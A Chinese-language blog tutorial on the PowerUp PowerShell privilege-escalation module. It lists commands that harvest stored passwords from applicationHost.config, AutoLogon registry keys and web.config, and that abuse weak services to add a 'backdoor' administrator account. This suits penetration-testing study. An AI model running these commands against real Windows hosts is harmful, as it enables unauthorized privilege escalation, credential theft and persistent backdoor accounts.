zoukankan      html  css  js  c++  java
  • PowerUp攻击模块讲解

    PowerUp是Privesc模块下的一个脚本,功能相当强大,拥有众多用来寻找目标主机Windows服务漏洞进行提权的实用脚本。

    通常,在Windows下可以通过内核漏洞来提升权限。但是,我们常常会碰到无法通过内核漏洞提权所处服务器的情况,这个时候就需要利用脆弱的Windows服务提权,或者利用常见的系统服务,通过其继承的系统权限来完成提权等,此框架可以在内核提权行不通的时候,帮助我们寻找服务器的脆弱点,进而同脆弱点实现提权的目的。

    由于这里是本机操作的,可以直接输入Import-Module命令加载PowerUp脚本模块

    更改执行策略
    PS C:Windowssystem32> Set-ExecutionPolicy Unrestricted
    PS C:Windowssystem32> Get-ExecutionPolicy
    Unrestricted
    
    加载PowerUp脚本模块
    PS C:Windowssystem32> Import-Module C:UsersznDesktopPowerUp.ps1

    输入get-help [cmdlet] -full命令查看各个模块的详细说明。比如Get-Help invoke-allchecks -full

    PS C:Windowssystem32> Get-Help invoke-allchecks -full
    
    名称
        Invoke-AllChecks
    
    摘要
        Runs all functions that check for various Windows privilege escalation opportunities
    
        Author: @harmj0y
        License: BSD 3-Clause
    
    语法
        Invoke-AllChecks [-HTMLReport] [<CommonParameters>]
    
    
    说明
    
    
    参数
        -HTMLReport [<SwitchParameter>]
            Switch. Write a HTML version of the report to SYSTEM.username.html.
    
            是否必需?                    False
            位置?                        named
            默认值
            是否接受管道输入?            false
            是否接受通配符?
    
        <CommonParameters>
            此 cmdlet 支持通用参数: Verbose、Debug、
            ErrorAction、ErrorVariable、WarningAction、WarningVariable、
            OutBuffer 和 OutVariable。有关详细信息,请键入
            “get-help about_commonparameters”。
    
    输入
    
    输出
    
        -------------------------- 示例 1 --------------------------
    
        PS C:>Invoke-AllChecks
    
    
        Runs all escalation checks and outputs a status report for discovered issues.
    
    
    
    
    
        -------------------------- 示例 2 --------------------------
    
        PS C:>Invoke-AllChecks -HTMLReport
    
    
        Runs all escalation checks and outputs a status report to SYSTEM.username.html
        detailing any discovered issues.
    
    
    
    
    
    
    相关链接
    
    
    
    PS C:Windowssystem32>
    Get-Help invoke-allchecks -full

    下面对PowerUp常用的模块进行介绍。

    1.Invoke-AllChecks

    该模块会自动执行PowerUp下所有的脚本来检查目标主机,输出以下命令即可执行该模块。

    PS C:Windowssystem32> Invoke-AllChecks

    2.Find-PathDLLHijack

    该模块用于检查当前%PATH%的哪些目录是用户可以写入的,输入以下命令即可执行该模块。

    PS C:Windowssystem32> Find-PathDLLHijack

    3.Get-ApplicationHost

    该模块可利用系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码,执行该模块的命令如下所示。

    PS C:Windowssystem32> Get-ApplicationHost
    PS C:Windowssystem32> Get-ApplicationHost|Format-Table-Autosize #列表显示

    4.Get-RegistryAlwaysInstallElevated

    该模块用于检查AlwaysInstallElevated注册表项是否被设置,如果已被设置,意味着MSI文件是以SYSTEM权限运行的,执行该模块的命令如下所示。

    PS C:Windowssystem32> Get-RegistryAlwaysInstallElevated

    5.Get-RegistryAutoLogon

    该模块用于检查Winlogin注册表的AutoAdminLogon项有没有被设置,可以查询默认的用户名和密码。执行该模块的命令如下所示。

    PS C:Windowssystem32> Get-RegistryAutoLogon

    6.Get-ServiceDetail

    该模块用于返回某服务的信息,输入以下命令即可执行该模块。

    PS C:Windowssystem32> Get-ServiceDetail -ServiceName DHCP #获取DHCP服务的详细信息

    7.Get-ServiceFilePermission

    该模块用于检查当前用户能够在哪些服务的目录写入相关联的可执行文件,我们可通过这些文件实现提权,输入以下命令即可执行该模块。

    PS C:Windowssystem32> Get-ServiceFilePermission

    8.Test-ServiceDaclPermission

    该模块用于检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象,执行该模块的命令如下所示。

    PS C:Windowssystem32> Test-ServiceDaclPermission

    9.Get-ServiceUnquoted

    该模块用于检查服务路径,返回包含空格但是不带引号的服务路径。

    此处利用了Windows的一个逻辑漏洞,即当文件包含空格时,Windows API会被解释为2个路径,并将这两个文件同时执行,有时可能会造成权限的提升,比如C:program fileshello.exe会被解释为C:program.exe和C:program fileshello.exe。输入以下命令即可执行该模块。

    PS C:Windowssystem32> Get-ServiceUnquoted

    10.Get-UnattenndedInstallFile

    该模块用于检查以下路径,查找是否存在这个文件,因为这些文件里可能含有部署凭据。这些文件包含:

    执行该模块的命令如下。

    PS C:Windowssystem32> Get-UnattendedInstallFile

    11.Get-ModifiableRegistryAutoRun

    该模块用于检查开机自启的应用程序路径和注册表键值,然后返回当前用户可修改的程序路径。被检查的注册表键值有以下这些:

     输入以下命令即可执行该模块。

    PS C:Windowssystem32> Get-ModifiableRegistryAutoRun

    12.Get-ModifiableScheduledTaskFile

    该模块用于返回当前用户能够修改的计划任务程序的名称和路径,输入以下命令即可执行该模块。

    PS C:Windowssystem32> Get-ModifiableScheduledTaskFile

    13.Get-Webconfig

    该模块用于返回当前服务器上web.config文件中的数据库连接字符串的明文,输入以下命令即可执行该模块。

    PS C:Windowssystem32> Get-Webconfig
    False

    14.Invoke-ServiceAbuse

    该模块通过修改服务来添加用户到指定组,并可以通过设置-cmd参数触发添加用户的自定义命令,执行该模块的命令如下所示。

    PS C:Windowssystem32> Invoke-ServiceAbuse -ServiceName VulnSVC #添加默认账号
    PS C:Windowssystem32> Invoke-ServiceAbuse -ServiceName VulnSVC -USerName "TESTLABjohn" #指定添加的域账号
    PS C:Windowssystem32> Invoke-ServiceAbuse -ServiceName VulnSVC -USerName backdoor -Password password -LocalGroup "Administrators" #指定添加用户,用户密码以及添加的用户组
    PS C:Windowssystem32> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net......" #自定义执行命令

    15.Restore-ServiceBinary

    该模块用于恢复服务的可执行文件到原始目录,执行该模块的命令如下所示。

    PS C:Windowssystem32> Restore-ServiceBinary -ServiceName VulnSVC

    16.Test-ServiceDaclPermission

    该模块用于检查某个用户是否在服务中有自由访问控制的权限,结果会返回true或false,执行该模块的命令如下所示。

    PS C:Windowssystem32> Test-ServiceDaclPermission

    17.Write-HijackDll

    该模块用于输出一个自定义命令并且能够自我删除的bat文件到$env:Tenpdebug.bat,并输出一个能够启动这个bat文件的DLL。

    18.Write-UserAddMSI

    该模块用于生成一个安装文件,运行这个安装文件后会弹出添加用户的对话框,输入以下命令即可执行该模块。

    PS C:Windowssystem32> Write-UserAddMSI

    19.Write-ServiceBinary

    该模块用于预编译C#服务的可执行文件,默认创建一个管理员账号,可通过command定制自己的命令,执行该模块的命令如下所示。

    PS C:Windowssystem32> Write-ServiceBinary -ServiceName VulnSVC #添加默认账号
    PS C:Windowssystem32> Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" #指定添加的域账号
    PS C:Windowssystem32> Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password password123! -LocalGroup "Administrators" #指定添加用户,用户密码以及添加的用户组
    PS C:Windowssystem32> Write-ServiceBinary -ServiceName VulnSVC -Command "net......" #自定义执行命令

    20.Install-ServiceBinary

    该模块通过Write-ServiceBinary写一个C#的服务用来添加用户,执行该模块的命令如下所示。

    PS C:Windowssystem32> Install-ServiceBinary -ServiceName DHCP
    PS C:Windowssystem32> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"
    PS C:Windowssystem32> Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password password123! 
    PS C:Windowssystem32> Install-ServiceBinary -ServiceName VulnSVC -Command "net......"

    Write-ServiceBinary与Install-ServiceBinary的区别是,前者生成可执行文件,后者直接安装服务。

  • 相关阅读:
    卷积神经网络要点解析
    quicksork解析
    梳理知识点(一)
    高斯混合模型以及EM算法
    adaboost/gdbt/xgboos/random forestt的异同点
    Anki使用
    Markdown写作入门
    VBox复制虚拟机镜像后的操作
    Hadoop集群之vsftpd设置
    使用Oracle函数将银行归类,方便引用
  • 原文地址:https://www.cnblogs.com/zhengna/p/12852375.html
Copyright © 2011-2022 走看看